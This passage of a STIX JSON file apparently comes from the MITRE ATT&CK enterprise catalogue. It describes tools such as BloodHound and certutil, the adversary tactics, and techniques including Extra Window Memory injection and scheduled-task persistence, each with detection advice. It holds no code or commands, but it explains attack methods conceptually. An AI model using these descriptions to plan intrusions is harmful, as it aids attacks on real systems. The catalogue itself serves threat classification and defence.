2019","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf","description":"Dantzig, M. v., Schamper, E. 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Retrieved March 5, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BloodHound](https://attack.mitre.org/software/S0521) is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.(Citation: GitHub Bloodhound)(Citation: CrowdStrike BloodHound April 2018)(Citation: FoxIT Wocao December 2019)","modified":"2022-04-20T19:58:05.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"BloodHound","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["certutil","certutil.exe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","type":"tool","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0160","external_id":"S0160"},{"url":"https://technet.microsoft.com/library/cc732443.aspx","description":"Microsoft. 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(Citation: TechNet Certutil)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["at","at.exe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"tool","id":"tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952","created":"2017-05-31T21:33:06.824Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"S0110","url":"https://attack.mitre.org/software/S0110"},{"source_name":"Linux at","url":"https://man7.org/linux/man-pages/man1/at.1p.html","description":"IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022."},{"source_name":"TechNet At","url":"https://technet.microsoft.com/en-us/library/bb490866.aspx","description":"Microsoft. (n.d.). At. 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Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"credential-access"},{"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--4ca45d45-df4d-4613-8980-bac22d278fa5","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0002","url":"https://attack.mitre.org/tactics/TA0002","source_name":"mitre-attack"}],"modified":"2019-07-19T17:42:06.909Z","name":"Execution","description":"The adversary is trying to run malicious code.\n\nExecution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery. ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"execution"},{"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--5569339b-94c2-49ee-afb3-2222936582c8","type":"x-mitre-tactic","created":"2019-03-14T18:44:44.639Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0040","source_name":"mitre-attack","url":"https://attack.mitre.org/tactics/TA0040"}],"modified":"2019-07-25T18:42:23.222Z","name":"Impact","description":"The adversary is trying to manipulate, interrupt, or destroy your systems and data.\n \nImpact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries’ goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"impact"},{"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--5bc1d813-693e-4823-9961-abf9af4b0e92","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0003","url":"https://attack.mitre.org/tactics/TA0003","source_name":"mitre-attack"}],"modified":"2019-07-19T17:42:33.899Z","name":"Persistence","description":"The adversary is trying to maintain their foothold.\n\nPersistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code. ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"persistence"},{"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--5e29b093-294e-49e9-a803-dab3d73b77dd","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0004","url":"https://attack.mitre.org/tactics/TA0004","source_name":"mitre-attack"}],"modified":"2021-01-06T14:21:21.641Z","name":"Privilege Escalation","description":"The adversary is trying to gain higher-level permissions.\n\nPrivilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include: \n\n* SYSTEM/root level\n* local administrator\n* user account with admin-like access \n* user accounts with access to specific system or perform specific function\n\nThese techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.  ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"privilege-escalation"},{"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--7141578b-e50b-4dcc-bfa4-08a8dd689e9e","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0008","url":"https://attack.mitre.org/tactics/TA0008","source_name":"mitre-attack"}],"modified":"2019-07-19T17:44:36.953Z","name":"Lateral Movement","description":"The adversary is trying to move through your environment.\n\nLateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier. ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"lateral-movement"},{"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--78b23412-0651-46d7-a540-170a1ce8bd5a","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0005","url":"https://attack.mitre.org/tactics/TA0005","source_name":"mitre-attack"}],"modified":"2019-07-19T17:43:23.473Z","name":"Defense Evasion","description":"The adversary is trying to avoid being detected.\n\nDefense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses. ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"defense-evasion"},{"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--9a4e74ab-5008-408c-84bf-a10dfbc53462","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0010","url":"https://attack.mitre.org/tactics/TA0010","source_name":"mitre-attack"}],"modified":"2019-07-19T17:45:12.806Z","name":"Exfiltration","description":"The adversary is trying to steal data.\n\nExfiltration consists of techniques that adversaries may use to steal data from your network. Once they’ve collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"exfiltration"},{"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--c17c5845-175e-4421-9713-829d0573dbc9","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0007","url":"https://attack.mitre.org/tactics/TA0007","source_name":"mitre-attack"}],"modified":"2019-07-19T17:44:13.228Z","name":"Discovery","description":"The adversary is trying to figure out your environment.\n\nDiscovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what’s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective. ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"discovery"},{"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--d108ce10-2419-4cf9-a774-46161d6c6cfe","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0009","url":"https://attack.mitre.org/tactics/TA0009","source_name":"mitre-attack"}],"modified":"2019-07-19T17:44:53.176Z","name":"Collection","description":"The adversary is trying to gather data of interest to their goal.\n\nCollection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to steal (exfiltrate) the data. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"collection"},{"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--d679bca2-e57d-4935-8650-8031c87a4400","type":"x-mitre-tactic","created":"2020-09-30T16:11:59.650Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0042","source_name":"mitre-attack","url":"https://attack.mitre.org/tactics/TA0042"}],"modified":"2020-09-30T16:31:36.322Z","name":"Resource Development","description":"The adversary is trying to establish resources they can use to support operations.\n\nResource Development consists of techniques that involve adversaries creating, purchasing, or compromising/stealing resources that can be used to support targeting. Such resources include infrastructure, accounts, or capabilities. These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using purchased domains to support Command and Control, email accounts for phishing as a part of Initial Access, or stealing code signing certificates to help with Defense Evasion.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"resource-development"},{"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--daa4cbb1-b4f4-4723-a824-7f1efd6e0592","type":"x-mitre-tactic","created":"2020-10-02T14:48:41.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0043","source_name":"mitre-attack","url":"https://attack.mitre.org/tactics/TA0043"}],"modified":"2020-10-18T02:04:50.842Z","name":"Reconnaissance","description":"The adversary is trying to gather information they can use to plan future operations.\n\nReconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"reconnaissance"},{"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--f72804c5-f15a-449e-a5da-2eecd181f813","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0011","url":"https://attack.mitre.org/tactics/TA0011","source_name":"mitre-attack"}],"modified":"2019-07-19T17:45:30.644Z","name":"Command and Control","description":"The adversary is trying to communicate with compromised systems to control them.\n\nCommand and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim’s network structure and defenses.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"command-and-control"},{"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--ffd5bcee-6e16-4dd2-8eca-7b3beedf33ca","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0001","url":"https://attack.mitre.org/tactics/TA0001","source_name":"mitre-attack"}],"modified":"2019-07-19T17:41:41.425Z","name":"Initial Access","description":"The adversary is trying to get into your network.\n\nInitial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"initial-access"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298","type":"attack-pattern","created":"2020-01-14T17:18:32.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.011","url":"https://attack.mitre.org/techniques/T1055/011"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx","description":"Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.","source_name":"Microsoft Window Classes"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx","description":"Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.","source_name":"Microsoft GetWindowLong function"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx","description":"Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.","source_name":"Microsoft SetWindowLong function"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html","description":"MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.","source_name":"MalwareTech Power Loader Aug 2013"},{"url":"https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/","description":"Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.","source_name":"WeLiveSecurity Gapz and Redyms Mar 2013"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx","description":"Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.","source_name":"Microsoft SendNotifyMessage function"}],"modified":"2020-11-10T18:29:31.004Z","name":"Extra Window Memory Injection","description":"Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.  (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution"],"x_mitre_defense_bypassed":["Anti-virus","Application control"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Andrew Northern, @ex_raritas","Bryan Campbell, @bry_campbell","Zachary Abzug, @ZackDoesML","Selena Larson, @selenalarson"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","created":"2019-11-27T14:58:00.429Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1053.005","url":"https://attack.mitre.org/techniques/T1053/005"},{"source_name":"ProofPoint Serpent","url":"https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain","description":"Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022."},{"source_name":"Twitter Leoloobeek Scheduled Task","url":"https://twitter.com/leoloobeek/status/939248813465853953","description":"Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017."},{"source_name":"Microsoft Scheduled Task Events Win10","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events","description":"Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019."},{"source_name":"TechNet Scheduled Task Events","url":"https://technet.microsoft.com/library/dd315590.aspx","description":"Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017."},{"source_name":"TechNet Autoruns","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."},{"source_name":"TechNet Forum Scheduled Task Operational Setting","url":"https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen","description":"Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)","modified":"2022-04-14T20:59:17.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Scheduled Task","x_mitre_detection":"Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Scheduled Job: Scheduled Job Creation","Process: Process Creation","Command: Command Execution","File: File Modification"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["Administrator"],"x_mitre_effective_permissions":[],"x_mitre_remote_support":true,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6","type":"attack-pattern","created":"2017-05-31T21:30:54.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1066","external_id":"T1066"}],"modified":"2020-03-20T15:22:53.835Z","name":"Indicator Removal from Tools","description":"If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Log analysis","Host intrusion prevention systems","Anti-virus"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Mayan Arora aka Mayan Mohan"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","created":"2020-02-20T21:01:25.428Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1560.001","url":"https://attack.mitre.org/techniques/T1560/001"},{"source_name":"WinRAR Homepage","url":"https://www.rarlab.com/","description":"A. Roshal. (2020). RARLAB. Retrieved February 20, 2020."},{"source_name":"WinZip Homepage","url":"https://www.winzip.com/win/en/","description":"Corel Corporation. (2020). WinZip. Retrieved February 20, 2020."},{"source_name":"7zip Homepage","url":"https://www.7-zip.org/","description":"I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020."},{"source_name":"diantz.exe_lolbas","url":"https://lolbas-project.github.io/lolbas/Binaries/Diantz/","description":"Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021."},{"source_name":"Wikipedia File Header Signatures","url":"https://en.wikipedia.org/wiki/List_of_file_signatures","description":"Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows systems. On Windows, <code>diantz</code> or <code> makecab</code> may be used to package collected files into a cabinet (.cab) file. <code>diantz</code> may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) Additionally, <code>xcopy</code> on Windows can copy files and directories with a variety of options.\n\nAdversaries may use 